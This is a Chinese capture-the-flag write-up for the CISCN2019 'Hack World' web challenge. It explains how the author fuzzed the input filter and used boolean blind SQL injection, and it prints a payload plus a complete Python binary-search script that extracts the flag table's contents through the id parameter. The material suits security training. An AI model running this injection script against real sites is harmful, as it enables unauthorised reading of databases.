题目链接:[CISCN2019 华北赛区 Day2 Web1]Hack World。
打开环境后如下所示。
尝试输入 1、2、3、4、...,发现仅存在三种结果。
即 1 时,输出 "Hello, glzjin wants a girlfriend."。
2 时,输出 "Do you want to be my girlfriend?"。
其他,输出 "Error Occured When Fetch Result."。
且存在对用户输入的检测。
还有个意义不明的信息。
通过 fuzzing,可以发现后端对什么关键词进行了检测。
因此,这里使用布尔盲注进行读取数据(题目中存在提示,只需要读取 flag 表中的 flag 字段)。
Payload:if(ascii(substr((select(database())),1,1))>99,1,2)
。
# 二分法
import requests
url = "http://75073420-9c74-41e5-b9fb-6bfe86d0efc8.node5.buuoj.cn:81/index.php"
flag = ""
i = 0
while True:
i = i + 1
letf = 32
right = 127
while letf < right:
mid = (letf+right) // 2
payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"
data = {"id":payload}
res = requests.post(url=url, data=data).text
if "Hello" in res:
letf = mid + 1
else:
right = mid
if letf != 32:
flag += chr(letf)
print(flag)
else:
break
参考:
标签:letf,Day2,flag,Web1,Hack,World From: https://www.cnblogs.com/imtaieee/p/18538661